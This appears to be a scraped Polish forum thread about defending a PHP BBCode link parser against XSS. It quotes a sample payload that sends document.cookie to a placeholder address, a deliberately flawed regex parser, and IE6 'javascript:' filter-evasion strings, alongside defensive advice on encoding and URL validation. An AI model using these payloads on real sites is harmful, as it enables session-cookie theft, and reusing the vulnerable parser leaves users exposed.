ďťż

[PHP] Ochrona przed XSS Funkcje filtrujące czy PCRE?

       

Podstrony


telcocafe

Rozważmy przykład kodu BBCode:[url=http://localhost"onclick="this.href='xxx'+document.cookie] amazing stuff[/url]Dziurawy kod parsujący linki ze Strefy PHP:preg_replace('#\[url=(.*?)?(.*?)\](.*?)\ [/url\]#si', '<a href="\\2">\\3</a>', $xxx)Jak zabezpieczyć stronę przed XSS? Czy należy:
1) nie dopuszczać znaku " w adresie strony - wystarczy we wzorcu określić, które znaki mogą wystąpić
2) zamieniać " na &quot; - raczej nie obędzie się bez preg_replace_callback

Można też zamieniać " na &quot; globalnie za pomocą htmlspecialchars() bez drugiego parametru (tylko podwójny cudzysłów), ale nie można już stosować tej zasady np. do tytułów, gdzie często liczy się ilość znaków (" = 1, &quot; = 6).

Blokowanie konkretnych atrybutów nie widzi mi się - nigdy nie wiadomo, gdzie pojawi się złośliwy kod. Nawet w style.

Kolejny problem - jak pominąć wnętrze znacznika [ code ] [/ code] podczas parsowania kodu BBCode?



Należy tak zabezpieczyć żeby było bezpiecznie przed atakami różnego typu: http://ha.ckers.org/xss.html

Najprostsze to całkowite wycinanie lub enkodowanie HTMLa, plus stosowne parsowanie tagów BBCode. Dla bbtaga url warto trochę więcej poświęcić niż jedno preg_replace (sprawdzić czy ma http://, jak nie to dodać, sprawdzić poprawność linka (czy nie ma jakiś powyższych niepożądanych dodatków).

A jeżeli link jest odnośnikiem do FTP, GG, Skype, SVN?

Błędem jest na pewno wykrywanie wyrazów java script: oraz vb script: za pomocą str_replace(). Zadanie wykonuje str_ireplace(). IE 6 jest szczególnym przypadkiem, w którym działają chwyty typu:jav&#x0A;ascript:alert('XSS'); jav ascript:alert('XSS');
Najważniejsze, by nie przepuścić w atrybutach BBCode niedozwolonych znaków i filtrować ściśle wszystkie dane pochodzące z zewnątrz. Zabawa w usuwanie Unicode, HEX itd. raczej mija się z celem.

Test na forum: test
Wniosek: w adresie URL javascript - bez : - nie jest zamieniany na java_script, natomiast w tekście TAK. Czy to ważne?

Nie wiem, jak poprawnie parsować URL-e. Ograniczanie wartości do konkretnych znaków może spowodować, że niektóre adresy URL nie zostaną wykryte. Co lepsze? Usuwanie " i innych niewygodnych znaków, czy ograniczenie adresów URL do konkretnych znaków?
Użytkownik Ferrari edytował ten post 23 marzec 2009, 19:55
adres url nie zawiera " ani ' a jak zawiera to jest podejrzany :)
Użytkownik Riklaunim edytował ten post 23 marzec 2009, 22:02


http://www.beldzio.com/obsluga-html

  • zanotowane.pl
  • doc.pisz.pl
  • pdf.pisz.pl
  • nvm.keep.pl

  • Sitedesign by AltusUmbrae.